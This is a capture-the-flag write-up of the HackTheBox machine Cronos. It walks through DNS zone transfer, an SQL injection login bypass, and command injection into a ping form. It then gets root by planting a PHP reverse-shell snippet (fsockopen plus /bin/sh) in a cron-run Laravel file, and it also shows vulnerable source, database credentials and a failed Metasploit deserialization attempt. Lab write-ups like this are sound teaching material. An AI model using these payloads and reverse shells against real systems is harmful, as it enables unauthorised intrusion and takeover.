Cronos didn’t provide anything too challenging, but did present a good intro to many useful concepts. I’ll enumerate DNS to get the admin subdomain, and then bypass a login form using SQL injection to find another form where I could use command injections to get code execution and a shell. For privesc, I’ll take advantage of a root cron job which executes a file I have write privileges on, allowing me to modify it to get a reverse shell. In Beyond Root, I’ll look at the website and check in on how I was able to do both the SQLi and the command injection, as well as fail to exploit the machine with a Laravel PHP framework deserialization bug, and determine why.

Box Stats

Name: Cronos
Release Date: 22 Mar 2017
Retire Date: 26 May 2017
OS: Linux
Base Points: Medium [30]
Rated Difficulty:
Radar Graph:
v4l3r0n 18 days, 20 hours, 49 mins, 24 seconds
v4l3r0n 19 days, 00 hours, 50 mins, 13 seconds
Creator: ch4p



nmap shows three open ports, SSH (TCP 22), DNS (TCP/UDP 53) and HTTP (TCP 80):

root@kali# nmap -p- --min-rate 10000 -oA scans/alltcp
Starting Nmap 7.80 ( ) at 2020-04-07 21:01 EDT
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65532 filtered ports
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
root@kali# nmap -sC -sV -p 22,53,80 -oA scans/tcpscripts
Starting Nmap 7.80 ( ) at 2020-04-07 21:02 EDT
Nmap scan report for
Host is up (0.015s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds

root@kali# nmap -sU -p- --min-rate 10000 -oA scans/alludp
Starting Nmap 7.80 ( ) at 2020-04-07 21:02 EDT
Nmap scan report for
Host is up (0.014s latency).
Not shown: 65532 open|filtered ports
22/udp closed ssh
53/udp open   domain
80/udp closed http

Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

Based on the OpenSSH and Apache versions, this looks like Ubuntu Xenial 16.04.


For DNS enumeration, the first thing to do is try to resolve the IPs of Cronos. I’ll use nslookup, setting the server to Cronos, and then looking up Cronos’ IP:

root@kali# nslookup 
> server
Default server:
>        name = ns1.cronos.htb.

Knowing the domain ns1.cronos.htb is useful, as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb.

Any time there’s TCP DNS, it’s worth trying a zone transfer, which returns another two subdomains, admin and www:

root@kali# dig axfr cronos.htb @

; <<>> DiG 9.11.16-2-Debian <<>> axfr cronos.htb @
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A
admin.cronos.htb.       604800  IN      A
ns1.cronos.htb.         604800  IN      A
www.cronos.htb.         604800  IN      A
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 14 msec
;; WHEN: Tue Apr 07 21:08:57 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)

I’ll add the following line to my /etc/hosts file: cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb

Subdomain Brute Force

Since virtual hosts are involved here, I’ll run a quick gobuster subdomain brute force, but it only returns the known three:

root@kali# gobuster dns -d cronos.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt 
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Domain:     cronos.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
2020/04/08 06:32:15 Starting gobuster
Found: ns1.cronos.htb
Found: www.cronos.htb
Found: admin.cronos.htb
2020/04/08 06:34:22 Finished

Website - TCP 80

By visiting the website by IP address, I just get the default Ubuntu Apache 2 page:


I ran a gobuster brute force, but didn’t find anything.

ns1.cronos.htb returns the same thing.

www.cronos.htb - TCP 80


Both cronos.htb and www.cronos.htb lead to this page:


Interestingly, all of the links go to external sites for Laravel, a “PHP framework for web artisans” (whatever that means).

Again, gobuster here only returns /css, /js, and index.php.


Looking in Burp at the HTTP responses, there is a laravel_session cookie being set, so I can feel pretty confident that Cronos is using Laravel.

searchsploit does show exploits against the Laravel framework:

root@kali# searchsploit laravel
------------------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                              |  Path
                                                                                                            | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Laravel - 'Hash::make()' Password Truncation Security                                                       | exploits/multiple/remote/39318.txt
Laravel Log Viewer < 0.13.0 - Local File Download                                                           | exploits/php/webapps/
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)     | exploits/linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                                                   | exploits/php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                                          | exploits/php/webapps/
------------------------------------------------------------------------------------------------------------ ----------------------------------------
Shellcodes: No Result

On doing some inspection of these scripts (searchsploit -x [Path]), the first one is a way to trick the hash engine because of a truncation issue, but I don’t see any way to apply it here. The second, forth, and fifth are not for this web framework.

The Metasploit script could have promise, but there are two issues:

  • I don’t know the version of Laravel that’s being run to know if it is vulnerable.
  • The exploit requires that I find a way to leak the APP_KEY. If I can find a way to leak that (perhaps an LFI), I’ll come back to give this a try.

admin.cronos.htb - TCP 80

The site just presents a login form and an advertisement (something I hadn’t seen in HTB before; it seems to be real).


When I guess admin/admin, it returns an error about my username or password, so no user enumeration here:


Shell as www-data

SQLi Bypass Login

I tried a handful of SQL injection payloads. While ' or '1'='1 doesn’t work, ' or 1=1-- - does. That means it’s likely querying the database with something like:

SELECT * from users where user = '[username]' AND password = '[password]';

Then it must be checking later if rows returned. I’ll show the code and look into how the injection works in Beyond Root.

Command Injection

Net Tool Enumeration

The payload allows me to bypass the login, which presents the next page, Net Tool v0.1:


The dropdown offers traceroute and ping. I can ping myself, and the results are printed on the screen:


Command Injection POC

Looking at the request that’s submitted for that ping, it’s very clear there’s a problem here:

POST /welcome.php HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://admin.cronos.htb/welcome.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Connection: close
Cookie: PHPSESSID=fvt6rfuuoh069o763u89rhphr1
Upgrade-Insecure-Requests: 1


It seems that the webserver is likely taking the command and the host and concatenating them together and then executing it. If that’s true, I can probably inject into either parameter. I’ll send that request over to repeater, and set the POST parameters to:

command=ls -l&host=/var/www

The response includes:

drwxr-xr-x  2 www-data www-data 4096 Jul 27  2017 admin<br>
drwxr-xr-x  2 www-data www-data 4096 Jul 27  2017 html<br>
drwxr-xr-x 13 www-data www-data 4096 Apr  9  2017 laravel<br>


To turn that command injection into a shell, I’ll just give it a reverse shell payload:


And catch a shell on a nc listener:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1388): Inappropriate ioctl for device
bash: no job control in this shell

I’ll do the shell upgrade:

www-data@cronos:/var/www/admin$ python -c 'import pty;pty.spawn("bash")'
python -c 'import pty;pty.spawn("bash")'
www-data@cronos:/var/www/admin$ ^Z
[1]+  Stopped                 nc -lnvp 443
root@kali# stty raw -echo
root@kali# nc -lnvp 443  # i entered fg

And can grab user.txt from the only homedir:

www-data@cronos:/home/noulis$ cat user.txt 

Priv: www-data –> root


I’ll go into my local linPEAS directory and start a Python3 webserver. Then I can grab it from Cronos:

www-data@cronos:/dev/shm$ wget
--2020-04-08 15:22:05--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 159864 (156K) [text/x-sh]                                         
Saving to: ''          100%[===================>] 156.12K  --.-KB/s    in 0.05s

2020-04-08 15:22:05 (2.98 MB/s) - '' saved [159864/159864]  

Now run it, and in the Cron jobs section, the last line is red:

www-data@cronos:/dev/shm$ bash                                                                 ...[snip]...
[+] Cron jobs
-rw-r--r-- 1 root root  797 Apr  9  2017 /etc/crontab 
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The cron syntax here says that it will run every minute, as root:

Crontab tips and tricks - EazyLinux

The command is php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

I don’t really need to know what the Laravel artisan is doing. What does matter is that as www-data, I have write permissions on that file:

www-data@cronos:/var/www/laravel$ ls -la artisan 
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

Poison artisan

I’ll open the artisan file and add two lines at the top:


$sock=fsockopen("", 443);
exec("/bin/sh -i <&3 >&3 2>&3");
| Register The Auto Loader

Next time the cron runs, I get a callback:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

After a shell upgrade, grab the final flag:

root@cronos:~# cat root.txt 

Beyond Root


Now that I can look back on the box, I wanted to see what was actually happening in the web framework as I exploited it, for both the SQLi and the command injection.


/var/www/admin/index.php is the page that handles the POST requests to login.

      // username and password sent from form 

      $myusername = $_POST['username'];
      $mypassword = md5($_POST['password']);
      $sql = "SELECT id FROM users WHERE username = '".$myusername."' and password = '".$mypassword."'";
      $result = mysqli_query($db,$sql);
      $row = mysqli_fetch_array($result,MYSQLI_ASSOC);                                                                                               
      //$active = $row['active'];
      $count = mysqli_num_rows($result);
      // If result matched $myusername and $mypassword, table row must be 1 row
      if($count == 1) {
         $_SESSION['login_user'] = $myusername;
         header("location: welcome.php");                                                                                                            
      }else {
         $error = "Your Login Name or Password is invalid";               

The username and password are taken directly from the form and put into:

SELECT id FROM users WHERE username = '$myusername' and password = '$mypassword'

So when I entered ' or '1'='1 as the username and admin as the password, it results in:

SELECT id FROM users WHERE username = '' or '1'='1' and password = 'admin'

Since AND has precedence over OR, this results in:

SELECT id FROM users WHERE username = '' or ('1'='1' and password = 'admin')

This fails.

But later when I enter ' or 1=1-- -, it becomes:

SELECT id FROM users WHERE username = '' or 1=1-- -' and password = '$mypassword'

That will return all the users from the database.

Next the PHP checks that exactly one row was returned. If I log into the database from Cronos, I can see that the DB only has one user in it. First get the creds in /var/www/admin/config.php:

   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');

Now I can connect and dump the users:

root@cronos:/var/www/admin# mysql -u admin -pkEjdbRigfBHUREiNSDs admin 
mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 47
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select * from users;
| id | username | password                         |
|  1 | admin    | 4f5fffa7b2340178a716e3832451e058 |
1 row in set (0.00 sec)

Had this been a real DB, that wouldn’t have worked. Still, I could have used a user ' or 1=1 LIMIT 1-- -, and then it would have logged me in as the first user, and I could have use LIMIT X,1 to get the xth user (0 based).

In general, when writing SQL-base auth in applications, it’s best to get the rows that match the username, and then compare the password hash from that row to the hash of the input password. That will prevent the password check’s being commented out in an injection.

Command Injection

The command injection happens in /var/www/admin/welcome.php:


        $command = $_POST['command'];
        $host = $_POST['host'];
        exec($command.' '.$host, $output, $return);

IT takes the two inputs, concatenates them together just as I observed, and passes the string to exec. The output is stored in $output, and printed to the page later.

Laravel and CVE-2018-15133

The only Laravel CVE that seemed useful here was CVE-2018-15133, which was a PHP deserialization bug. There is also a Metasploit exploit for this vulnerability, unix/http/laravel_token_unserialize_exec. This bug was released well after Cronos was retired let alone created, so it’s clearly not an intended path. Still, I wanted to play with it.

In order to pull this off, I needed the APP_KEY. I didn’t find a way to leak this during the box, but as root (or even www-data), I can grab it. It is stored in the .env file in the /var/www/laravel directory.

root@cronos:/var/www/laravel# cat .env | grep APP_KEY

Using the Metasploit exploit, I set the key and the other options:

msf5 exploit(unix/http/laravel_token_unserialize_exec) > options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting                               Required  Description
   ----       ---------------                               --------  -----------
   APP_KEY    +fUFGL45d1YZYlSTc0Sm71wPzJejQN/K6s9bHHihdYE=  no        The base64 encoded APP_KEY string from the .env file
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                                            yes       The target port (TCP)
   SSL        false                                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                             yes       Path to target webapp
   VHOST      www.cronos.htb                                no        HTTP server virtual host

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST      yes       The listen address (an interface may be specified)
   LPORT  443              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

It’s important to set the VHOST option, or the payloads will submit to the wrong vhost.

When I run this, it says it runs, but no shell:

msf5 exploit(unix/http/laravel_token_unserialize_exec) > run

[*] Started reverse TCP handler on 
[*] Exploit completed, but no session was created.

I added a proxy (I’ll also need to set ReverseAllowProxy):

msf5 exploit(unix/http/laravel_token_unserialize_exec) > set proxies http:
proxies => http:
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set ReverseAllowProxy true
ReverseAllowProxy => true

On re-running it, I see that it’s sending a four HTTP POST requests, each of which is getting a 405 Method Not Allowed response:


I tried intercepting these requests, and changing each to a GET. The responses were now 200, but no code execution. It turns out that the exploit only works on a POST request (since the deserialization is in the XSRF token, this makes sense).

I looked a bit more in-depth at the Laravel app, to see if I could find a POST endpoint. The routes are defined in /var/www/laravel/routes/web.php:


| Web Routes
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!

Route::get('/', function () {
    return view('welcome');

The only route is /, and it only takes GET. That’s the end of this exploit for Cronos as far as I can tell.